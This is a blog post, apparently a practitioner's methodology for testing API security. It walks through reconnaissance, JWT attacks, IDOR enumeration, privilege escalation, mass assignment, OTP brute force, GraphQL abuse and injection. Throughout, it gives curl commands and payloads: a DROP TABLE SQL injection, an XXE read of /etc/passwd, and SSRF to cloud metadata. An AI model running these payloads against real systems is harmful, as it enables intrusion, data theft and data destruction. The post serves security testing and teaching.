Help Ukraine, click for information

> API Security Testing: A Practical Methodology_

APIs are the attack surface of modern applications. While companies spend millions securing their frontends, the APIs they expose often have weaker controls, no WAF coverage, and direct access to business logic that would be sandboxed on the web layer.

This is a working methodology — the order I follow on a real engagement, the commands I run, and the bugs I look for.


## Phase 1: Reconnaissance

### Find the API surface

Before you test, you need to know what endpoints exist.

terminal
# Pull JavaScript bundles from the app and grep for API paths curl https://target.com | grep -oP '"/api/[^"]*"' | sort -u # Check common docs locations curl https://target.com/swagger.json curl https://target.com/openapi.json curl https://target.com/api/v1/docs curl https://target.com/graphql # GET request often returns playground # Common API versioning patterns ffuf -w /usr/share/wordlists/api-endpoints.txt -u https://target.com/api/FUZZ -mc 200,201,401,403

Postman collections leaking: Some companies accidentally publish their Postman workspaces publicly. Search:

terminal
site:postman.com "target.com"

### Identify the API type

  • >REST: Standard HTTP verbs, JSON/XML responses, typically /api/v1/resource/{id}
  • >GraphQL: Usually /graphql, single endpoint, POST with query: field
  • >gRPC: Binary, requires proto files — less common in web apps
  • >SOAP: XML, Content-Type: text/xml, SOAPAction header

## Phase 2: Authentication testing

### No auth / broken auth

terminal
# Does the endpoint require auth? curl -X GET https://target.com/api/v1/users # Remove or empty the Authorization header curl -H "Authorization: " https://target.com/api/v1/users/profile # Replace Bearer token with "null" or "undefined" curl -H "Authorization: Bearer null" https://target.com/api/v1/admin

### JWT attacks

terminal
# Decode JWT (without verifying) echo "eyJh..." | cut -d'.' -f2 | base64 -d 2>/dev/null | jq . # Algorithm confusion: change alg from RS256 to HS256 # Sign the modified token with the server's public key as the HMAC secret python3 jwt_tool.py <token> -X a -pk public.pem # None algorithm attack python3 jwt_tool.py <token> -X n # jwt-tool full suite python3 jwt_tool.py <token> -M at -t https://target.com/api/v1/profile

### API key testing

terminal
# Check if API key validation is actually enforced curl -H "X-API-Key: INVALID_KEY_12345" https://target.com/api/v1/data # Test key scope — does a low-privilege key access admin endpoints? curl -H "X-API-Key: LOWPRIV_KEY" https://target.com/api/v1/admin/users

## Phase 3: BOLA / IDOR (Broken Object Level Authorization)

BOLA (Broken Object Level Authorization) is the #1 API vulnerability. The API correctly checks that you're authenticated but doesn't check that you're authorised to access that specific object.

terminal
# Create two accounts: attacker (A) and victim (V) # Log in as V, find your user ID / resource ID # Switch to A's token, try V's IDs # Enumerate by incrementing IDs for i in {100..200}; do curl -s -H "Authorization: Bearer ATTACKER_TOKEN" \ "https://target.com/api/v1/users/$i/profile" \ -o /dev/null -w "$i: %{http_code}\n" done # Try GUIDs too — not security by obscurity, but endpoints may expose them in responses curl -H "Authorization: Bearer ATTACKER_TOKEN" \ "https://target.com/api/v1/orders/3f2504e0-4f89-11d3-9a0c-0305e82c3301"

Where to look beyond /users/{id}:

terminal
/api/v1/documents/{id} /api/v1/messages/{id} /api/v1/invoices/{id} /api/v1/reports/{id}/download /api/v1/admin/users/{id} ← vertical privilege escalation

## Phase 4: Broken Function Level Authorization

BFLA: A user can call functions they shouldn't have access to — often admin endpoints.

terminal
# Swap HTTP methods curl -X DELETE https://target.com/api/v1/users/42 # Should you be able to delete users? curl -X PUT https://target.com/api/v1/users/42/role -d '{"role":"admin"}' curl -X POST https://target.com/api/v1/admin/promote -d '{"userId":42}' # Check for admin endpoints with regular user token ffuf -w admin-paths.txt -u https://target.com/api/v1/FUZZ \ -H "Authorization: Bearer USER_TOKEN" -mc 200,201

## Phase 5: Mass Assignment

The API accepts fields it shouldn't, allowing users to overwrite internal properties.

terminal
# Registration endpoint — try adding admin/role/balance fields curl -X POST https://target.com/api/v1/users/register \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"pass123","role":"admin","verified":true}' # Profile update — try adding fields you don't control in the UI curl -X PUT https://target.com/api/v1/users/me \ -H "Authorization: Bearer TOKEN" \ -H "Content-Type: application/json" \ -d '{"name":"test","balance":99999,"isAdmin":true,"credits":1000}'

How to find valid field names: look at GET responses for the object — the returned JSON shows you what fields exist. Try setting each one via PUT/PATCH.


## Phase 6: Rate limiting and resource abuse

terminal
# Basic rate limit check — how many requests before 429? for i in {1..100}; do curl -s -o /dev/null -w "%{http_code}" \ -X POST https://target.com/api/v1/auth/login \ -d '{"username":"user@test.com","password":"wrong"}' && echo done # Rate limit bypass techniques # 1. Rotate IPs (X-Forwarded-For) curl -H "X-Forwarded-For: 1.2.3.$i" https://target.com/api/v1/otp/verify # 2. Add null bytes to the body (some parsers create a "different" request) # 3. Change Content-Type (JSON vs. form-encoded — same logic path, different rate limit bucket) # 4. Add random query params to bypass caching/dedup # Test OTP/2FA endpoint specifically for code in {000000..999999}; do curl -X POST https://target.com/api/v1/verify-otp -d "{\"code\":\"$code\"}" & done

## Phase 7: GraphQL-specific

terminal
# Introspection — get the full schema curl -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{ __schema { types { name fields { name } } } }"}' # If introspection is disabled, try field suggestions (GraphQL often suggests valid names) # Use Clairvoyance tool to reconstruct schema: python3 clairvoyance.py -u https://target.com/graphql -o schema.json # Batching attacks — run multiple auth attempts in one request curl -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -d '[{"query":"mutation { login(user:\"admin\",pass:\"pass1\") { token } }"}, {"query":"mutation { login(user:\"admin\",pass:\"pass2\") { token } }"}]' # IDOR via GraphQL curl -X POST https://target.com/graphql \ -d '{"query":"{ user(id: 1337) { email ssn creditCard } }"}'

## Phase 8: Input validation

terminal
# SQL injection — APIs often skip WAFs curl -X GET "https://target.com/api/v1/products?search='; DROP TABLE products;--" curl -X GET "https://target.com/api/v1/users?id=1 OR 1=1" # NoSQL injection (MongoDB) curl -X POST https://target.com/api/v1/auth/login \ -H "Content-Type: application/json" \ -d '{"username":{"$ne":""},"password":{"$ne":""}}' # XXE in XML APIs curl -X POST https://target.com/api/v1/import \ -H "Content-Type: application/xml" \ -d '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>' # SSRF via URL parameters curl "https://target.com/api/v1/fetch?url=http://169.254.169.254/latest/meta-data/" curl "https://target.com/api/v1/webhook?callbackUrl=http://internal.service.local/admin"

## Tools

ToolUse
Burp SuiteProxy, Repeater, Intruder for manual API testing
ffufFast endpoint discovery
httpxProbe URLs at scale
jwt-toolJWT attacks
ArjunFind hidden HTTP parameters
ClairvoyanceGraphQL schema reconstruction without introspection
NucleiTemplate-based API vulnerability scanning
RESTlerAutomated stateful REST API fuzzing

## OWASP API Security Top 10 — quick reference

#NameOne-liner
API1BOLAObject-level auth not checked
API2Broken AuthBad JWT, no expiry, weak creds
API3BOPLAProperty-level exposure in responses
API4Unrestricted Resource ConsumptionNo rate limiting
API5BFLAFunction-level auth not checked
API6Unrestricted Access to Sensitive FlowsOTP brute force, mass password reset
API7SSRFURL parameters hitting internal services
API8Security MisconfigurationVerbose errors, open CORS, old TLS
API9Improper Inventory ManagementForgotten /v1 endpoints when /v3 is prod
API10Unsafe Consumption of APIsTrusting upstream API responses blindly

APIs deserve the same rigour as web apps — but they're tested less, documented less, and often have direct database access that the web tier doesn't. That's where the real bugs live.

root@sovietghost:/blog/040-api-security-testing# ls -la ../

> Thanks for visiting. Stay curious and stay secure. _